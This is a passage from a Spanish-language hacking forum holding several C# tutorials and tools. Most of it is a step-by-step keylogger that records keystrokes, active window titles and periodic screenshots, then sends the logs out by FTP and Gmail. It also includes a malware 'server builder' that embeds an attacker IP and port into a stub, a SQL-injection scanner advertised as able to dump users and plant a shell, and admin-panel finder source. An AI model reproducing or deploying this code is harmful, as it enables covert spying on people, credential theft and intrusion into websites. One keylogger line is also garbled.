                            string letra = Convert.ToChar(num+32).ToString(); // Le sumamos 32 a num y la convertimos a Char para formar la letra minuscula
                            savefile("logs.html", letra); // Agregamos la letra al archivo de texto
                        }
                        else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)))
                        {
                            // Si se detecta Shift o CapsLock
                            string letra = Convert.ToChar(num).ToString(); // Formamos la letra convirtiendo num a Char
                            savefile("logs.html", letra); // Agregamos la letra al archivo de texto
                        }
                        else if (Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
                        {
                            // Si se detecta CapsLock ...
                            string letra = Convert.ToChar(num).ToString(); // Formamos la letra convirtiendo num a Char
                            savefile("logs.html", letra); // Agregamos la letra al archivo de texto

                        }
                        else
                        {
                            // Si no se detecta ni Shift ni CapsLock ...
                            string letra = Convert.ToChar(num j+ 32).ToString(); // Formamos la letra minuscula sumandole 32 a num y convirtiendo num a Char
                            savefile("logs.html", letra); // Agregamos la letra al archivo de texto
                        }
                    }

                }
            }

        }


Se deberia ver algo asi :



Como ven en este codigo explico como detectar mayusculas y minisculas , ya sea por Shift o CapsLock este codigo las detecta igual y guardas las teclas un log html usando la funcion savefile().

Ahora le hacemos doble click al primer boton , es el que activa la captura de las teclas "Capture Keys ON" , para poder poner el siguiente codigo :

Código: csharp

        private void button1_Click(object sender, EventArgs e)
        {
            timer1.Enabled = true; // Activamos el timer1
            label1.Text = "ON"; // Ponemos "ON" como texto en label1
        }


Con este codigo vamos a poder activar la captura de las teclas pero para poder desactivar el timer y que no siga capturando tenemos que hacer doble click en el segundo boton , el que dice "Capture Keys OFF" para poner este codigo :

Código: csharp

        private void button2_Click(object sender, EventArgs e)
        {
            timer1.Enabled = false; // Desactivamos el timer1
            label1.Text = "OFF";// Ponemos "OFF" como texto en label2
        }


Con eso ya estaria la captura de teclas mayusculas y minusculas.

0x03 : Capturar el nombre de las ventanas activas

Para poder capturar el nombre de las ventanas activas tenemos que declarar las siguiente variables globales al inicio del codigo :

Código: csharp

        string nombre1 = ""; // Declaramos la variable string nombre1 como vacia ("")
        string nombre2 = ""; // Declaramos  la variable string nombre2 como vacia ("")


Estas lineas son necesarias para guardar los nombres de las ventanas y comparar para saber cual es la actual , para poder capturar el nombres de las ventanas activas tambien tenemos que agregar estas lineas al inicio del codigo :

Código: csharp

        [DllImport("user32.dll")]
        static extern IntPtr GetForegroundWindow();

        [DllImport("user32.dll")]
        static extern int GetWindowText(IntPtr ventana, StringBuilder cadena, int cantidad);



Ahora tenemos que agregar el segundo timer al formulario , para hacerle doble click y agregar el siguiente  codigo :

Código: csharp

        private void timer2_Tick(object sender, EventArgs e)
        {
            const int limite = 256; // Declaramos un entero constante con valor de 256
            StringBuilder buffer = new StringBuilder(limite); // Declaramos un StringBuilder en buffer usando el int limite
            IntPtr manager = GetForegroundWindow(); // Declaramos manager como IntPtr usando GetForegroundWindow para poder
                                                    // obtener el nombre de la ventana actual

            if (GetWindowText(manager, buffer, limite) > 0) // Obtenemos el nombre de la ventana y lo almacenamos en buffer
            {
                nombre1 = buffer.ToString(); // Almacenamos el nombre de la ventana en nombre1

                if (nombre1 != nombre2) // Si nombre1 y nombre2 no son iguales ...
                {
                    nombre2 = nombre1; // nombre2 tendra el valor de nombre1
                    savefile("logs.html", "<br>[" + nombre2 + "]<br>"); // Agregamos el nombre de la ventana en el archivo de texto
                }
            }

        }


Como en la siguiente imagen :



Ahora hacemos doble click en el tercer boton que se llama "Capture Windows ON" para poner el siguiente codigo :

Código: csharp

        private void button3_Click(object sender, EventArgs e)
        {
            timer2.Enabled = true; // Activamos el timer2
            label2.Text = "ON"; //Ponemos "ON" como texto en label2
        }


Despues de eso hacemos doble click en el cuarto boton que se llama "Capture Windows OFF" para poner el siguiente codigo :

Código: csharp

        private void button4_Click(object sender, EventArgs e)
        {
            timer2.Enabled = false; // Desactivamos el timer2
            label2.Text = "OFF"; // Ponemos "OFF" como texto en label2
        }


Con esto terminariamos la funcion de capturar las ventanas activas.

0x04 : Tomar un ScreenShot de la pantalla

Para esta funcion lo primero que hay que hacer es agregar esta linea al inicio del codigo :

Código: csharp

using System.Drawing.Imaging;


Bien ahora para que el programa capture la pantalla cada cierto tiempo tenemos que agregar el tercer timer al formulario para ponerle como tiempo o Interval un valor de "10000" que serian 10 segundos porque el interval exige que el tiempo sea expresado en milisegundos.
Despues de eso agregan esta funcion al inicio del codigo llamada screeshot() :

Código: csharp

        public void screenshot(string nombre)
        {
            try
            {
                // ScreenShot Based on : http://www.dotnetjalps.com/2007/06/how-to-take-screenshot-in-c.html
                // Thanks to Jalpesh vadgama

                int wid = Screen.GetBounds(new Point(0, 0)).Width; // Declaramos el int wid para calcular el tamaño de la pantalla
                int he = Screen.GetBounds(new Point(0, 0)).Height; // Declaramos el int he para calcular el tamaño de la pantalla
                Bitmap now = new Bitmap(wid, he); // Declaramos now como Bitmap con los tamaños de la pantalla
                Graphics grafico = Graphics.FromImage((Image)now); // Declaramos grafico como Graphics usando el declarado now
                grafico.CopyFromScreen(0, 0, 0, 0, new Size(wid, he)); // Copiamos el screenshot con los tamaños de la pantalla
                // usando "grafico"
                now.Save(nombre, ImageFormat.Jpeg); // Guardamos el screenshot con el nombre establecido en la funcion
            }
            catch
            {
                //
            }

        }


Para despues hacer doble click en el timer3 y poner el siguiente codigo :

Código: csharp

        private void timer3_Tick(object sender, EventArgs e)
        {
            string fecha = DateTime.Now.ToString("h:mm:ss tt"); // Obtemos la hora actual usando DateTime y la guardamos en la
                                                                // variable string con el nombre de fecha
            string nombrefinal = fecha.Trim() + ".jpg"; // Limpiamos la variable fecha de los espacios en blanco y le agregamos
                                                        // ".jpg" al final para terminar de generar el nombre de la imagen
            string final = nombrefinal.Replace(":", "_"); // Reemplazamos los ":" de la hora por "_" para que no haya problemas
                                                          // al crear la imagen
            screenshot(final); // Usamos la funcion screenshot() para mandar el nombre de la imagen que tiene la variable "final"
                               // y asi realizar el screenshot

        }


Viendose asi en el codigo :



Ahora la parte que me estaba olvidando hagan doble click en el quinto boton , el que tiene como texto "Capture Screen ON" y
pongan el siguiente codigo :

Código: csharp

            timer3.Enabled = true; // Activamos el timer3
            label3.Text = "ON";  // Ponemos "ON" como texto en label3


Ahora hagan doble click en el sexto boton , el que tiene como texto "Capture Screen OFF" y pongan el siguiente codigo :

Código: csharp

            timer3.Enabled = false; // Desactivamos el timer3
            label3.Text = "OFF";  // Ponemos "OFF" como texto en label3


Con esto ya estaria terminada la parte de la captura de pantalla cada cierto tiempo , en este caso son cada 10 segundos.

0x05 : Subir logs a un servidor FTP

Bien , ahora para poder enviar logs por FTP necesitamos agregar estas lineas al inicio del codigo :

Código: csharp

using System.Net;
using System.IO;


Despues de uso tambien tenemos que agregar esta funcion al inicio del codigo que sirve para subir archivos a un servidor FTP marcado :

Código: csharp

        public void FTP_Upload(string servidor, string usuario, string password, string archivo)
        {
            // Based on : http://madskristensen.net/post/simple-ftp-file-upload-in-c-20

            try
            {
                WebClient ftp = new System.Net.WebClient(); // Iniciamos una instancia WebClient con "ftp"
                ftp.Credentials = new System.Net.NetworkCredential(usuario, password); // Establecemos el login

                FileInfo dividir = new FileInfo(archivo); // Iniciamos una instancia FileInfo con "dividir"
                string solo_nombre = dividir.Name; // Capturamos solo el nombre de la ruta del archivo de "archivo"

                ftp.UploadFile("ftp://"+servidor + "/" + solo_nombre, "STOR", archivo); // Subimos el archivo marcado con el siguiente
                // formato -> ftp://localhost/archivo-a-subir.txt al servidor FTP
            }
            catch
            {
                //
            }
        }


Ahora vamos hacer doble click sobre el septimo boton que tiene como texto "Send logs for FTP" para poner el siguiente codigo :

Código: csharp

        private void button7_Click(object sender, EventArgs e)
        {
            FTP_Upload("localhost", "admin", "admin","logs.html"); // Usamos la funcion FTP_Upload para enviar el log por FTP
                                                                                        // con los datos del servidor marcados
        }


Como ven tenemos "localhost" como servidor FTP y "admin" como usuario y password del servidor FTP , al final de la funcion tenemos "logs.html" que son los logs creados por el keylogger y listos para enviar al servidor FTP correspondiente.
Para probarlos en su servidor FTP tienen que cambiar los valores de servidor , usuario y password.

Pasemos al siguiente punto

0x06 : Mandar logs por Mail

Ahora vamos a ver como enviar los logs por mail , para poder hacerlo necesitan una cuenta en Gmail , si quieren registrarse en Gmail sin dar el telefono tienen que registrarte poniendo como direccion de correo alternativa una que sea con "@gmail.com" , en mi caso tambien puse la nacionalidad de Estados Unidos , no se si hace falta pero yo lo hice igual y safe de que me pidieran el telefono (no lo voy a dar ni muerto xD).
Bien para poder enviar correos usando Gmail necesitamos poner esta linea al inicio del codigo :

Código: csharp

using System.Net.Mail;


Despues tenemos que poner esta funcion al inicio del codigo que es la que uso para enviar Mails a Gmail :

Código: csharp

        public void Gmail_Send(string usuario, string password, string target, string asunto, string mensaje_texto, string rutaarchivo)
        {

            // Based on : http://www.codeproject.com/Tips/160326/Using-Gmail-Account-to-Send-Emails-With-Attachment

            MailAddress de = new MailAddress(usuario); // Establecemos la direccion de correo nuestra de Gmail para enviar el mail
            MailAddress a = new MailAddress(target); // Establecemos la direccion de correo que va a recibir el correo

            MailMessage mensaje = new MailMessage(de, a); // Creamos la instancia MailMessage como "mensaje" 

            mensaje.Subject = asunto; // Establecemos en el mensaje el asunto
            mensaje.Body = mensaje_texto; // Establecemos en el mensaje el texto del correo

            Attachment archivo = new Attachment(rutaarchivo); // Creamos la instancia Attachment como "archivo" donde marcamos la ruta del archivo adjunto que
            // esta en la variable "rutaarchivo"

            mensaje.Attachments.Add(archivo); // Agregamos el archivo adjunto cargado anteriormente al "mensaje"

            SmtpClient gmailsender = new SmtpClient("smtp.gmail.com", 587); // Creamos la instancia SmtpClient como "gmailsender" ademas marcamos el host y
            // el puerto de Gmail

            gmailsender.UseDefaultCredentials = false; // Desactivamos el UseDefaultCredentials en el "gmailsender"
            gmailsender.EnableSsl = true; // Activamos el SSL en el "gmailsender"
            gmailsender.Credentials = new NetworkCredential(usuario, password); // Establecemos el usuario y password de la cuenta nuestra de Gmail

            gmailsender.Send(mensaje); // Enviamos el mensaje   

        }


Despues de eso hacemos doble click sobre el octavo y ultimo boton que tiene como texto "Send logs for Mail" para poner el siguiente codigo :

Código: csharp

        private void button8_Click(object sender, EventArgs e)
        {
            Gmail_Send("[email protected]", "tupass", "[email protected]", "Aca van los logs", "Disfruta los logs", "logs.html");
            // Usamos la funcion Gmail_Send para enviar el log por Mail usando nuestra cuenta de Gmail con los datos aclarados en los argumentos de la funcion
        }


Como ven en la funcion tenemos como argumentos , el correo y password de nuestra cuenta gmail que usamos para enviar los logs , despues tenemos el correo donde van a llegar los logs , despues tenemos el titulo del mensaje que es "Aca van los logs" y el contenido del mensaje donde tenemos "Disfruta los logs" y para terminar tenemos la ruta de los logs del keylogger que es "logs.html".

Con eso pasamos el ultimo punto.

0x07 : Probando el programa

Bueno , creo que con esto cubrimos lo que es un keylogger basico (eso creo) , para probar solo tenemos que activar la captura de teclas , captura de ventanas y captura de screenshots desde su boton correspondiente , si queremos parar cierta funcion solo tenemos que hacer click sobre el boton de abajo correspondiente.

Se les deberia ver tal cual lo hicimos en el primer punto :



Para mandar los logs por FTP solo hagan click en el boton "Send logs for FTP" y despues de unos segundos tendran subidos los logs al servidor FTP que marcaron en la funcion del punto anterior.

En mi servidor FTP local se puede ver como se subieron los logs : logs.html



Lo mismo con el envio de logs por Mail con la diferencia de que ahora tienen que hacer click en el boton "Send logs for Mail" les dejo un ejemplo donde envio los logs a mi correo en hotmail :



Si quieren pueden ver los logs en formato HTML , en mi caso podre leer algo como esto en Firefox :



Creo que eso seria todo ...

--========--
  The End ?
--========--

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Version VideoTutorial


Eso es todo.
#104
C# - VB.NET / [C#] Creacion de un Server Builder
Agosto 29, 2014, 04:16:28 PM
[Titulo] : Creacion de un Server Builder
[Lenguaje] : C#
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del builder
0x03 : Creacion del stub
0x04 : Probando el programa

-- =================--------

0x01 : Introduccion

Ya habia hecho este manual en Delphi pero como me gusta traducir codigos ahora le toca a C# , para empezar el server builder se usa en el malware para poder generar el virus
o programa malicioso con datos importantes para el atacante como la ip , puerto o alguna configuracion que el server builder considera importante para el programa malicioso.
En este caso veremos solo la ip y el puerto , comencemos ...

0x02 : Creacion del builder

Para crear el server builder tenemos que crear un nuevo proyecto en Visual Studio de esta manera si usan la version 2010 :

Archivo -> Nuevo -> Proyecto -> Elegimos Aplicacion de Windows Forms y le damos en aceptar

Como en la siguiente imagen :



Ahora creemos dos textbox , uno va a ser para la IP y el otro textbox para el puerto , tambien agregamos un boton que sere el encargado de escribir en el stub , pueden poner
los tres en el lugar que quieran o sino haganlo como en la siguiente imagen :



Una vez hecho el diseño del form del builder vayan al codigo del formulario y agreguen este linea al inicio del codigo.

Código: csharp

using System.IO; // Agregar esta linea al inicio del codigo para el manejo de archivos


Despues hagan doble click en el boton que crearon para agregar el siguiente codigo :

Código: csharp

FileStream abriendo = new FileStream("stub.exe", FileMode.Append); // Abrimos el stub.exe para escribir en el usando "abriendo"
BinaryWriter seteando = new BinaryWriter(abriendo); // Usamos BinaryWriter para poder escribir en el archivo binario usando "seteando"
seteando.Write("-IP-" + textBox1.Text + "-IP-" + "-PORT-" + textBox2.Text + "-PORT-"); // Escribimos en el archivo binario la IP y el puerto
                                                                                       // usando los valores de los textBox1 y textBox2
seteando.Flush(); // Hace que los datos almacenados en el buffer se escriban
seteando.Close(); // Cerramos el BinaryWriter "seteando"
abriendo.Close(); // Cerramos el FileStream "abriendo"


Les deberia quedar algo asi :



Con esto ya estaria el server builder , ahora vamos al stub ...

0x03 : Creacion del stub

Bueno , ahora les voy a explicar como hacer el stub , para empezar creamos otro proyecto de la siguiente manera :

Archivo -> Nuevo -> Proyecto -> Elegimos Aplicacion de Windows Forms y le damos en aceptar

Como en la siguiente imagen :



Una vez creado el proyecto , agregamos al formulario 2 textBox y un boton que servira para cargar la configuracion , les deberia quedar algo asi :



Unz vez terminado todo , agregamos estas dos lineas al inicio del codigo del formulario :

Código: csharp

using System.IO; // Agregar esta linea para el manejo de archivos
using System.Text.RegularExpressions; // Agregar esta linea para el manejo de las expresiones regulares


Ahora hacemos doble click en el boton creado :

Código: csharp

private void button1_Click(object sender, EventArgs e)
{

string ip = ""; // Declaramos la variable que contendra la IP como string
string puerto = ""; // Declaramos la variable que tendra el puerto como string

StreamReader viendo = new StreamReader(Application.ExecutablePath); // Inicializamos la instancia StreamReader como "viendo" para abrir el stub

string contenido = viendo.ReadToEnd(); // Leemos el contenido del programa y guardamos el resultado en la variable "contenido"

Match regex = Regex.Match(contenido, "-IP-(.*?)-IP--PORT-(.*?)-PORT-", RegexOptions.IgnoreCase); // Usamos una expresion regular para buscar la ip
                                                                                            // y el puerto
if (regex.Success) // Si se encontro algo ...
{
ip = regex.Groups[1].Value; // Guardamos la ip encontrada en la variable "ip"
puerto = regex.Groups[2].Value; // Guardamos el puerto encontrado en la variable "puerto"
}

textBox1.Text = ip; // Ponemos la ip que obtuvimos en el textBox1
textBox2.Text = puerto; // Ponemos el puerto que obtuvimos en el textBox2

}


Les deberia quedar algo asi :



Con todo esto ya tenemos listo el server builder tanto el builder como el stub ahora nos toca probarlo ...

0x04 : Probando el programa

Una vez compilado el builder y el stub procedemos a probarlo , carguen el builder y ponganle los datos que les venga en gana en mi caso voy a poner como ip "localhost" y
como puerto "666" , despues carguen el stub y hagan click en el boton para cargar la configuracion , a continuacion les dejo una imagen de como quedaria el server builder
ademas en la imagen les muestro el stub cargado en WinHex para que vean que si funciona :



Eso seria todo.

Proximamente se viene un tutorial sobre como hacer un Keylogger en C# ...

--========--
  The End ?
--========--

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Version en VideoTutorial :

#105
C# - VB.NET / [Tutorial] Skins para C#
Agosto 22, 2014, 02:23:57 PM
Hola , aca les traigo un manual sobre como usar Skins en los formularios en C# , costo conseguirlos pero gracias a la recopilacion de atheros (foro indetectables) logre conseguir unos skins grosos que mostrare a continuacion.

Les dejo las imagenes de los skins :

Flow Theme



Fusion Theme



Future Theme



Genuine Theme



Modern Theme



Prime Theme



SkyDark Theme



Studio Theme



Tweety Theme



Drone Theme



Mephobia Theme



Para bajar la recopilacion de skins haganlo de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta , una vez descargados veran que los skins estan divididos en carpetas por versiones de Themebase , para usarlos tienen que crear una clase nueva en el proyecto de Visual Studio llamada Themebase.cs , en esta clase tienen que poner el codigo del archivo Themebase.txt de la carpeta en la que esta el skin que quieren probar , despues de crear esa clase tienen que crear otra con el nombre de Theme.cs , obviamente tienen que poner el codigo que tienen en el archivo Theme.txt que esta en la carpeta con el nombre de theme.

Les dejo un ejemplo de uso en youtube :



Eso seria todo.
#106
C# - VB.NET / [C#] K0bra 1.0
Agosto 15, 2014, 11:57:57 AM
Un simple scanner SQLI hecho en C#.

Con las siguientes funciones :

  • Comprobar vulnerabilidad
  • Buscar numero de columnas
  • Buscar automaticamente el numero para mostrar datos
  • Mostras tablas
  • Mostrar columnas
  • Mostrar bases de datos
  • Mostrar tablas de otra DB
  • Mostrar columnas de una tabla de otra DB
  • Mostrar usuarios de mysql.user
  • Buscar archivos usando load_file
  • Mostrar un archivo usando load_file
  • Mostrar valores
  • Mostrar informacion sobre la DB
  • Crear una shell usando outfile
  • Todo se guarda en logs ordenados

    Unas imagenes :









    Si quieren lo puede bajar de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
#107
C# - VB.NET / [C#] PanelFinder 0.3
Agosto 01, 2014, 10:57:11 AM
Un simple programa en C# para buscar el panel de admin en una pagina web.

Una imagen :



Los codigos :

Form1.cs

Código: csharp

// PanelFinder 0.3
// (C) Doddy Hackman 2014

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;

namespace PanelFinder
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {

            List<string> paneles = new List<string> {"admin/admin.asp","admin/login.asp",
    "admin/index.asp",               "admin/admin.aspx",
    "admin/login.aspx",              "admin/index.aspx",
    "admin/webmaster.asp",           "admin/webmaster.aspx",
    "asp/admin/index.asp",           "asp/admin/index.aspx",
    "asp/admin/admin.asp",           "asp/admin/admin.aspx",
    "asp/admin/webmaster.asp",       "asp/admin/webmaster.aspx",
    "admin/",                        "login.asp",
    "login.aspx",                    "admin.asp",
    "admin.aspx",                    "webmaster.aspx",
    "webmaster.asp",                 "login/index.asp",
    "login/index.aspx",              "login/login.asp",
    "login/login.aspx",              "login/admin.asp",
    "login/admin.aspx",              "administracion/index.asp",
    "administracion/index.aspx",     "administracion/login.asp",
    "administracion/login.aspx",     "administracion/webmaster.asp",
    "administracion/webmaster.aspx", "administracion/admin.asp",
    "administracion/admin.aspx",     "php/admin/",
    "admin/admin.php",               "admin/index.php",
    "admin/login.php",               "admin/system.php",
    "admin/ingresar.php",            "admin/administrador.php",
    "admin/default.php",             "administracion/",
    "administracion/index.php",      "administracion/login.php",
    "administracion/ingresar.php",   "administracion/admin.php",
    "administration/",               "administration/index.php",
    "administration/login.php",      "administrator/index.php",
    "administrator/login.php",       "administrator/system.php",
    "system/",                       "system/login.php",
    "admin.php",                     "login.php",
    "administrador.php",             "administration.php",
    "administrator.php",             "admin1.html",
    "admin1.php",                    "admin2.php",
    "admin2.html",                   "yonetim.php",
    "yonetim.html",                  "yonetici.php",
    "yonetici.html",                 "adm/",
    "admin/account.php",             "admin/account.html",
    "admin/index.html",              "admin/login.html",
    "admin/home.php",                "admin/controlpanel.html",
    "admin/controlpanel.php",        "admin.html",
    "admin/cp.php",                  "admin/cp.html",
    "cp.php",                        "cp.html",
    "administrator/",                "administrator/index.html",
    "administrator/login.html",      "administrator/account.html",
    "administrator/account.php",     "administrator.html",
    "login.html",                    "modelsearch/login.php",
    "moderator.php",                 "moderator.html",
    "moderator/login.php",           "moderator/login.html",
    "moderator/admin.php",           "moderator/admin.html",
    "moderator/",                    "account.php",
    "account.html",                  "controlpanel/",
    "controlpanel.php",              "controlpanel.html",
    "admincontrol.php",              "admincontrol.html",
    "adminpanel.php",                "adminpanel.html",
    "admin1.asp",                    "admin2.asp",
    "yonetim.asp",                   "yonetici.asp",
    "admin/account.asp",             "admin/home.asp",
    "admin/controlpanel.asp",        "admin/cp.asp",
    "cp.asp",                        "administrator/index.asp",
    "administrator/login.asp",       "administrator/account.asp",
    "administrator.asp",             "modelsearch/login.asp",
    "moderator.asp",                 "moderator/login.asp",
    "moderator/admin.asp",           "account.asp",
    "controlpanel.asp",              "admincontrol.asp",
    "adminpanel.asp",                "fileadmin/",
    "fileadmin.php",                 "fileadmin.asp",
    "fileadmin.html",                "administration.html",
    "sysadmin.php",                  "sysadmin.html",
    "phpmyadmin/",                   "myadmin/",
    "sysadmin.asp",                  "sysadmin/",
    "ur-admin.asp",                  "ur-admin.php",
    "ur-admin.html",                 "ur-admin/",
    "Server.php",                    "Server.html",
    "Server.asp",                    "Server/",
    "wp-admin/",                     "administr8.php",
    "administr8.html",               "administr8/",
    "administr8.asp",                "webadmin/",
    "webadmin.php",                  "webadmin.asp",
    "webadmin.html",                 "administratie/",
    "admins/",                       "admins.php",
    "admins.asp",                    "admins.html",
    "administrivia/",                "Database_Administration/",
    "WebAdmin/",                     "useradmin/",
    "sysadmins/",                    "admin1/",
    "system-administration/",        "administrators/",
    "pgadmin/",                      "directadmin/",
    "staradmin/",                    "ServerAdministrator/",
    "SysAdmin/",                     "administer/",
    "LiveUser_Admin/",               "sys-admin/",
    "typo3/",                        "panel/",
    "cpanel/",                       "cPanel/",
    "cpanel_file/",                  "platz_login/",
    "rcLogin/",                      "blogindex/",
    "formslogin/",                   "autologin/",
    "support_login/",                "meta_login/",
    "manuallogin/",                  "simpleLogin/",
    "loginflat/",                    "utility_login/",
    "showlogin/",                    "memlogin/",
    "members/",                      "login-redirect/",
    "sub-login/",                    "wp-login/",
    "login1/",                       "dir-login/",
    "login_db/",                     "xlogin/",
    "smblogin/",                     "customer_login/",
    "UserLogin/",                    "login-us/",
    "acct_login/",                   "admin_area/",
    "bigadmin/",                     "project-admins/",
    "phppgadmin/",                   "pureadmin/",
    "sql-admin/",                    "radmind/",
    "openvpnadmin/",                 "wizmysqladmin/",
    "vadmind/",                      "ezsqliteadmin/",
    "hpwebjetadmin/",                "newsadmin/",
    "adminpro/",                     "Lotus_Domino_Admin/",
    "bbadmin/",                      "vmailadmin/",
    "Indy_admin/",                   "ccp14admin/",
    "irc-macadmin/",                 "banneradmin/",
    "sshadmin/",                     "phpldapadmin/",
    "macadmin/",                     "administratoraccounts/",
    "admin4_account/",               "admin4_colon/",
    "radmind-1/",                    "Super-Admin/",
    "AdminTools/",                   "cmsadmin/",
    "SysAdmin2/",                    "globes_admin/",
    "cadmins/",                      "phpSQLiteAdmin/",
    "navSiteAdmin/",                 "server_admin_small/",
    "logo_sysadmin/",                "server/",
    "database_administration/",      "power_user/",
    "system_administration/",        "ss_vms_admin_sm/"
};

            DH_Tools tools = new DH_Tools();

            String page = textBox1.Text;
            String code = "";

            listBox1.Items.Clear();
           
            toolStripStatusLabel1.Text = "[+] Scanning ...";
            this.Refresh();

            foreach(string panel in paneles) {
                toolStripStatusLabel1.Text = "[+] Checking : "+panel;
                this.Refresh();
                code = tools.responsecode(page+"/"+panel);
                if (code == "200")
                {
                    listBox1.Items.Add(page + "/" + panel);
                }
            }

            if (listBox1.Items.Count == 0)
            {
                MessageBox.Show("Not Found");
            }

            toolStripStatusLabel1.Text = "[+] Finished";
            this.Refresh();

        }

        private void listBox1_DoubleClick(object sender, EventArgs e)
        {
            DH_Tools tools = new DH_Tools();
            tools.console("start " + listBox1.SelectedItem.ToString());
        }
    }
}

// The End ?


DH_Tools.cs

Código: csharp

// Class Name : DH Tools
// Version : Beta
// Author : Doddy Hackman
// (C) Doddy Hackman 2014
//
// Functions :
//
// [+] HTTP Methods GET & POST
// [+] Get HTTP Status code number
// [+] HTTP FingerPrinting
// [+] Read File
// [+] Write File
// [+] GET OS
// [+] Remove duplicates from a List
// [+] Cut urls from a List
// [+] Download
// [+] Upload
// [+] Get Basename from a path
// [+] Execute commands
// [+] URI Split
// [+] MD5 Hash Generator
// [+] Get MD5 of file
// [+] Get IP address from host name
//
// Credits :
//
// Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx
// Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable
// HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx
// List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+
// Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C
// MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm
// Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file
//
// Thanks to : $DoC and atheros14 (Forum indetectables)
//

using System;
using System.Collections.Generic;
using System.Text;

using System.Net;
using System.IO;
using System.Text.RegularExpressions;
using System.Security.Cryptography;

namespace PanelFinder
{
    class DH_Tools
    {
        public string toma(string url)
        {
            string code = "";

            try
            {
                WebClient nave = new WebClient();
                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                code = nave.DownloadString(url);
            }
            catch
            {
                //
            }
            return code;
        }

        public string tomar(string url, string par)
        {

            string code = "";

            try
            {

                HttpWebRequest nave = (HttpWebRequest)
                WebRequest.Create(url);

                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                nave.Method = "POST";
                nave.ContentType = "application/x-www-form-urlencoded";

                Stream anteantecode = nave.GetRequestStream();

                anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length);
                anteantecode.Close();

                StreamReader antecode = new StreamReader(nave.GetResponse().GetResponseStream());
                code = antecode.ReadToEnd();

            }
            catch
            {
                //
            }

            return code;

        }

        public string responsecode(string url)
        {
            String code = "";
            try
            {
                HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url);
                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                HttpWebResponse num = (HttpWebResponse)nave.GetResponse();

                int number = (int)num.StatusCode;
                code = Convert.ToString(number);

            }
            catch
            {

                code = "404";

            }
            return code;
        }

        public string httpfinger(string url)
        {

            String code = "";

            try
            {

                HttpWebRequest nave1 = (HttpWebRequest)WebRequest.Create(url);
                HttpWebResponse nave2 = (HttpWebResponse)nave1.GetResponse();

                for (int num = 0; num < nave2.Headers.Count; ++num)
                {
                    code = code + "[+] " + nave2.Headers.Keys[num] + ":" + nave2.Headers[num] + Environment.NewLine;
                }

                nave2.Close();
            }
            catch
            {
                //
            }

            return code;

        }

        public string openword(string file)
        {
            String code = "";
            try
            {
                code = System.IO.File.ReadAllText(file);
            }
            catch
            {
                //
            }
            return code;
        }

        public void savefile(string file, string texto)
        {

            try
            {
                System.IO.StreamWriter save = new System.IO.StreamWriter(file, true);
                save.Write(texto);
                save.Close();
            }
            catch
            {
                //
            }
        }

        public string getos()
        {
            string code = "";

            try
            {
                System.OperatingSystem os = System.Environment.OSVersion;
                code = Convert.ToString(os);
            }
            catch
            {
                code = "?";
            }

            return code;
        }

        public List<string> repes(List<string> array)
        {
            List<string> repe = new List<string>();
            foreach (string lin in array)
            {
                if (!repe.Contains(lin))
                {
                    repe.Add(lin);
                }
            }

            return repe;

        }

        public List<string> cortar(List<string> otroarray)
        {
            List<string> cort = new List<string>();

            foreach (string row in otroarray)
            {

                String lineafinal = "";

                Match regex = Regex.Match(row, @"(.*)\?(.*)=(.*)", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    lineafinal = regex.Groups[1].Value + "?" + regex.Groups[2].Value + "=";
                    cort.Add(lineafinal);
                }

            }

            return cort;
        }

        public string download(string url, string savename)
        {

            String code = "";

            WebClient nave = new WebClient();
            nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";

            try
            {
                nave.DownloadFile(url, savename);
                code = "OK";
            }
            catch
            {
                code = "Error";
            }

            return code;
        }

        public string upload(string link, string archivo)
        {

            String code = "";

            try
            {

                WebClient nave = new WebClient();
                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                byte[] codedos = nave.UploadFile(link, "POST", archivo);
                code = System.Text.Encoding.UTF8.GetString(codedos, 0, codedos.Length);

            }

            catch
            {
                code = "Error";
            }

            return code;

        }

        public string basename(string file)
        {
            String nombre = "";

            FileInfo basename = new FileInfo(file);
            nombre = basename.Name;

            return nombre;

        }

        public string console(string cmd)
        {

            string code = "";

            try
            {

                System.Diagnostics.ProcessStartInfo loadnow = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd);
                loadnow.RedirectStandardOutput = true;
                loadnow.UseShellExecute = false;
                loadnow.CreateNoWindow = true;
                System.Diagnostics.Process loadnownow = new System.Diagnostics.Process();
                loadnownow.StartInfo = loadnow;
                loadnownow.Start();
                code = loadnownow.StandardOutput.ReadToEnd();

            }

            catch
            {
                code = "Error";
            }

            return code;

        }

        public string urisplit(string url, string opcion)
        {

            string code = "";

            Uri dividir = new Uri(url);

            if (opcion == "host")
            {
